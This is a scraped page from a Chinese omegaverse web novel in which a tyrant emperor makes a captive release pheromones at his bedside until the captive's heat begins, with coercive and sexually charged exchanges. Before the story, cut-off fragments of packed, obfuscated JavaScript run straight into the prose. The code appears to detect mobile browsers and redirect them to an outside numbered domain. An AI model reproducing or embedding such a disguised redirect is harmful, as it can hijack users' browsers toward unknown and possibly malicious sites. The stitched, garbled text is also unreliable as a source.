l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15232527|165269||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 楚勝却没有同意洛湫的抵抗:“坐上来,你不会想知道拒绝后的代价的。” 洛湫胳膊拧不过大腿,只好磨磨蹭蹭地坐到了床沿,却在沾床的下一秒被楚勝拉了过去。 电光火石间,洛湫的指尖都已经碰上了匕首,那人却是撩开了他后面的头发,撕开了他脖颈后的腺体贴:“你可以开始你的工作了,吾没有睡着之前,信息素不许收回去。” 洛湫不动声色地收回了手,提起的心脏轻轻落了回去,初雪般清冷的信息素在一瞬间释放,像是一场雪铺满了整张床。 他一边释放信息素,一边看着楚勝,闭眼休息的暴君与平日里并无什么不同,大概是更顺眼一些。 果然,他还是比较喜欢看暴君没了呼吸躺在棺材里的模样! 大约过了半个小时,洛湫感觉自己的腺体在发烫,还有些鼓起来了,还有些发麻,房间里信息素的浓度已经非常高了,若是此刻有人来开门,只怕会当场进入易感期。 洛湫看着呼吸均匀的楚勝,试探着轻声问:“陛下,你睡着了吗?” “没有。”楚勝闭着眼睛,低声道。 洛湫:“……” 这睡眠质量也太差了! 洛湫只能继续释放他的信息素,只是源源不断的信息素往外输送,即便是s级的精神力也扛不住,又过了半个小时,洛湫都开始犯困了,信息素释放的浓度已经没有一开始那么浓郁。 楚勝像是立刻察觉到了,出声提醒:“偷懒只会增加你更多的工作量。” 洛湫都差点睡过去了,没想到这暴君居然还没什么睡意,他抿了抿唇,道:“没偷懒。” 他又将更多的信息素释放出来。 半小时后,洛湫猛地砸在了楚勝的胸膛上,隔着被子也能感受到下面结实的胸肌,楚勝嗤笑了一声:“你把吾吵醒了,看样子要重头开始了。” 洛湫的意识都有些不清醒了,皱着眉头道:“你怎么还没睡着?我的信息素都要被你榨干了……” 房间里初雪的味道仍旧浓郁,只是他释放的量越来越少,精神力也被消耗了许多,这会儿不知怎么的,身上也烫了起来,连带着呼吸都是热的,腺体从原本的发胀发麻变成了酥痒,像有许多蚂蚁在上面爬。 洛湫抬头看着近在咫尺的楚勝,眼底蕴上了晶莹的水光。 海洋般湿咸的气息将洛湫包裹住,那一瞬间带来的清爽感,仿佛坐着快艇在海上疾驰,他贪恋那样的感觉,朝着楚勝贴了上去。 好熟悉的信息素,好想……被标记,就像上一次一样。 百分百契合度的信息素碰撞,让他的发.情期提前了! 意识模糊间,洛湫看着眼前的人,那张面容重重叠叠,变成了楚异。 他的呼吸都变得滚烫,喷洒在楚勝的脖颈间。 “你发/情了。”楚勝低沉的声音从他的头顶传来,如同一盆凉水浇下来,洛湫的理智被微微拉回来一点。 alpha的声音带着些诱.惑,洛湫嗅到了危险的气息,周遭海洋的信息素也变得更加浓郁,他抬起头盯住楚勝,冷声道:“你要是敢标记我,我就杀了你!” 楚勝双眉轻挑,看着眼底泛红的白猫,水母触手缠住了洛湫的身体和尾巴:“终于装不下去了?” “可你的尾巴缠在吾的腿上,分明是在同吾求.欢啊?”